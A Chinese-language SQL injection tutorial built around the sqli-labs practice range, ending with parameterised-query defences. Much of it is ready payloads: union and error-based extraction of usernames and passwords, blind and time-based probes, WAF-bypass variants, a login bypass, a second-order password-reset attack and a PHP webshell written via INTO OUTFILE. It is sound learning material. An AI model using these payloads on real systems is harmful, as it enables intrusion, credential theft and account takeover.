← 返回主页
NOTE

SQL 注入实战

整理 SQL 注入类型、判断方式、利用流程与参数化防御。

目录结构

graph TD
    A[SQL注入] --> B[准备工作]
    A --> C[注入类型]
    A --> D[基础注入语句]
    A --> E[防御措施]
    B --> B1[靶场搭建]
    B --> B2[关卡解析]
    C --> C1[字符型注入]
    C --> C2[错误回显注入]
    C --> C3[文件注入]
    C --> C4[数字型注入]
    C --> C5[盲注技术]
    C --> C6[特殊场景注入]
    C5 --> C51[布尔型盲注]
    C5 --> C52[时间型盲注]
    C6 --> C61[POST注入]
    C6 --> C62[请求头注入]
    C6 --> C63[二次注入]
    C6 --> C64[宽字节注入]
    C6 --> C65[堆叠注入]
    C7 --> C71[and/or过滤绕过]
    C7 --> C72[select/union过滤绕过]
   	C7 --> C73[注释过滤绕过]
   	C7 --> C74[空格过滤绕过]

1. 准备工作

1.1 靶场搭建

使用Docker快速部署sqli-labs靶场环境:

# 拉取镜像并运行容器
docker pull acgpiano/sqli-labs
docker run --name sqli-labs -d -p 81:80 acgpiano/sqli-labs

# 验证部署
curl 127.0.0.1:81

1.2 关卡解析

推荐学习资源:
SQL注入篇——sqli-labs最详细1-75闯关指南


2. 注入类型

2.1 字符型注入

攻击流程

sequenceDiagram
    攻击者->>服务器: 提交单引号测试(id=1')
    服务器-->>攻击者: 返回SQL错误信息
    攻击者->>服务器: 探测字段数(id=1' order by 3 -- -)
    攻击者->>服务器: 定位回显点(id=-1' union select 1,2,3 -- -)
    攻击者->>服务器: 提取数据(id=-1' union select user(),database() -- -)

闭合方式

截断字符原始SQL形式注入示例适用场景
'WHERE username='$input'admin' -- -单引号包裹
"WHERE username="$input"admin" -- -双引号包裹
')WHERE (username='$input')admin') -- -单引号+括号
")WHERE (username="$input")admin") -- -双引号+括号

2.2 错误回显注入

利用函数updatexml()extractvalue()

id=1' union select updatexml(1, concat(0x7e, user(), 0x7e), 1) -- -
  • 0x7e:波浪符~的十六进制,用于标记回显内容
  • 原理:通过构造XML解析错误泄露敏感数据

2.3 文件注入

Webshell写入

id=1')) union select 1, '<?php system($_GET["cmd"]); ?>', 3 
into outfile '/var/www/html/shell.php' -- -

前提条件

  1. 数据库用户拥有FILE权限
  2. 知晓Web服务器绝对路径
  3. secure_file_priv配置允许导出

2.4 数字型注入

特征判断

原始SQL: SELECT * FROM products WHERE id=1
注入测试: 
    id=1 and 1=1 → 正常页面
    id=1 and 1=2 → 异常页面

2.5 盲注技术

2.5.1 布尔型盲注

攻击原理:通过页面真假状态差异推断数据

graph LR
    A[获取数据库名长度] --> B[枚举第一个字符]
    B --> C[枚举第二个字符]
    C --> D[获取表数量]
    D --> E[枚举表名]
    E --> F[枚举字段名]
    F --> G[提取数据]

核心函数

函数作用示例
length()获取字符串长度length(database())=8
substr()截取子字符串substr(database(),1,1)='s'
ascii()获取ASCII值ascii(substr(database(),1,1))=115
if()条件判断if(1=1,sleep(5),0)

2.5.2 时间型盲注

适用场景:页面无任何内容变化

id=1' and if(ascii(substr(database(),1,1))=115, sleep(5), 1) -- -
  • 若第一位ASCII=115(‘s’),则页面响应延迟5秒
  • 自动化工具:sqlmap、自定义Python脚本

2.6 特殊场景注入

2.6.1 POST注入

特点:注入点位于POST请求体中

POST /login.php HTTP/1.1
...
username=admin' or 1=1 -- -&password=123

注意:不能使用--+注释(+号在POST中不作为空格)

2.6.2 请求头注入

常见注入点

  • X-Forwarded-For
  • User-Agent
  • Referer
  • Cookie

检测方法:依次修改各请求头参数值添加测试负载

2.6.3 二次注入

定义与特点:攻击者将恶意SQL代码存储在数据库中,当应用程序后续从数据库取出这些数据并用于SQL查询时触发注入

sequenceDiagram
    攻击者->>服务器: 注册用户名:admin'# 
    服务器->>数据库: INSERT INTO users VALUES('admin''#', ...)
    攻击者->>服务器: 请求修改密码(用户名取自数据库)
    服务器->>数据库: SELECT * FROM users WHERE username='admin'#'
    服务器->>数据库: 执行恶意SQL: UPDATE users SET password='new_pass' WHERE username='admin'#'
    数据库-->>服务器: 修改admin用户密码(而非攻击者账户)

经典案例:密码重置攻击

  1. 注册恶意用户名

    INSERT INTO users (username, password) 
    VALUES ('admin''#', 'attacker_pass');
    

    存储的用户名为:admin'#

  2. 触发二次注入

    -- 原始修改密码SQL
    UPDATE users SET password='new_pass' 
    WHERE username='$username' AND password='$old_pass';
    
    -- 注入后的SQL
    UPDATE users SET password='new_pass' 
    WHERE username='admin'#' AND password='$old_pass';
    

    结果:admin用户的密码被修改,#注释掉了后续验证条件

高危场景

  • 用户注册(用户名/邮箱)
  • 数据导入功能
  • 评论/留言系统
  • 用户资料更新

2.6.4 宽字节注入

一些web服务器会通过addslashes()等函数将字符串中的特殊字符转义,将其转化为一般字符。这种情况可以用宽字符注入的方式解决

原理:若目标数据库使用的是多字节字符集(例如GBK),可以在特殊字符前加入ASCII编码范围外,GBK编码中某个字符的前半部分(例如%bf),这样能让转义符被顶掉

%bf%27(')      /* 转义前 */
%bf%5c%27      /* 转义后 */
縗'            /* 经过GBK解码后 */

可以注意到转义符被前面的%bf吃掉了,按照这个原理我们可以构造如下的攻击字符串:

原始SQL: SELECT * FROM users WHERE id = '$id' LIMIT 1
注入语句: %bf' or 1=1 -- -
最终SQL: SELECT * FROM users WHERE id = '' or 1=1 -- -' LIMIT 1

POST注入特例:

post注入情况下无法使用url编码

解决方案

  • 我们可以使用汉字代替,因为一些汉字是3字节的(例如汉),可以与转义符结合解析成两个GBK字符,以此绕过检测。
  • burp改包。

2.6.5 堆叠注入

原理:利用应用程序拼接 SQL 语句的漏洞,在一个数据库连接会话中,通过输入数据向数据库一次性提交并执行多条 SQL 语句

案例

原始SQL: SELECT * FROM users WHERE id = '$id'
注入语句: 1'; insert into users(id,username,password) values ('111','111','111') -- -
最终SQL: SELECT * FROM users WHERE id = '1'; insert into users(id,username,password) values ('111','111','111') -- -' LIMIT 1

场景

  • php中的mysqli_multi_query()PDO::query()
  • java中的“Statement.execute()Statement.executeUpdate()`
  • .NET中的SqlCommand

2.7 过滤绕过技巧

2.7.1 and和or过滤绕过

一些WAF(Web应用防火墙)或应用程序会过滤请求数据中的andor等关键字,以防御SQL注入。以下为两种常用绕过方法:

方法1:使用union注入代替

' union select 1,2,3 -- -

适用场景:当注入点位于SELECT语句且页面有回显时

方法2:双写绕过

' oorr 1=1 -- -

原理:应用程序可能只替换一次关键字(如将or替换为空),双写后oorr移除中间的or变为or

2.7.2 过滤select和union等关键字

当应用程序过滤selectunion等核心SQL关键字时,可采用以下技巧:

方法1:利用错误回显函数(需错误信息回显)

' and updatexml(1, concat(0x7e,(database())),1) -- -

优势:无需使用select即可提取数据

方法2:双写/大小写混合绕过

' UniOn SelEct 1,2,3 -- -    /* 大小写混合 */
' ununionion selselectect 1,2,3 -- -  /* 分别双写 */
' unionunion select select  /* 两个字段一起双写 */

原理

  • 大小写混合:绕过简单的大小写敏感过滤
  • 双写:若过滤机制为删除关键字,则ununionion删除中间的union后仍保留union

2.7.3 注释过滤绕过

替代方案:使用逻辑闭合代替注释符

原始SQL: SELECT * FROM users WHERE id = '$id' LIMIT 1
注入语句: ' and '1'='1
最终SQL: SELECT * FROM users WHERE id = '' and '1'='1' LIMIT 1

注意:逻辑闭合构造的注入语句不一定能真正闭合

原始SQL: SELECT * FROM users WHERE id = ('$id') LIMIT 1
注入语句: ' and '1'='1
最终SQL: SELECT * FROM users WHERE id = ('' and '1'='1') LIMIT 1

方案2:使用;%00截断sql语句

原始SQL: SELECT * FROM users WHERE id = '$id' LIMIT 1
注入语句: ' ;%00
最终SQL: SELECT * FROM users WHERE id = '' ;%00' LIMIT 1 (不过还是可以盲注)

解析:;是sql语句的分割符,而%00是php的字符传截断符,类似c的\0所有后面的sql语句将不会被读取

2.7.4 空格过滤绕过

替代方案:使用%0a代替空格或用括号,‘等符号隔开语句

3. 基础注入语句速查手册

/* 判断列数 */
order by 4 -- -

/* 定位回显点 */
union select 1,2,3 -- -

/* 获取系统信息 */
union select 1,@@version,@@datadir -- -

/* 枚举数据库 */
union select 1,schema_name,3 from information_schema.schemata -- -

/* 枚举指定库的表 */
union select 1,group_concat(table_name),3 
from information_schema.tables 
where table_schema='security' -- -

/* 枚举表字段 */
union select 1,group_concat(column_name),3 
from information_schema.columns 
where table_name='users' -- -

/* 提取数据 */
union select 1,group_concat(concat_ws(':',username,password)),3 
from users -- -

/* 报错注入 */
and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) -- -

/* 万能密码绕过 */
' or 1=1 -- -

/* 二次注入攻击语句 */  // 新增内容
-- 注册恶意用户名
INSERT INTO users (username) VALUES ("admin'#");

-- 触发二次注入(修改密码场景)
UPDATE users SET password='hacked' 
WHERE username='admin'#' AND password='old_pass';

4. 防御措施

graph TD
    A[参数化查询] --> B[输入验证]
    C[最小权限原则] --> D[错误处理]
    E[安全函数] --> F[框架防护]
    G[数据信任原则] --> A
    G --> B
  1. 参数化查询(Prepared Statements)

    # Python示例
    cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
    
  2. 输入验证

    • 白名单验证(允许的字符集)
    • 类型强制转换(数字型参数)
    • 长度限制
  3. 安全配置

    • 禁用危险函数(exec(), system()
    • 移除默认数据库错误信息
    • 设置数据库最小权限账户
  4. 数据信任原则(新增防御)

    // 即使是数据库来源的数据也要参数化
    String sql = "UPDATE users SET password = ? WHERE username = ?";
    PreparedStatement stmt = conn.prepareStatement(sql);
    stmt.setString(1, newPassword);
    stmt.setString(2, usernameFromDB); // 从数据库获取的用户名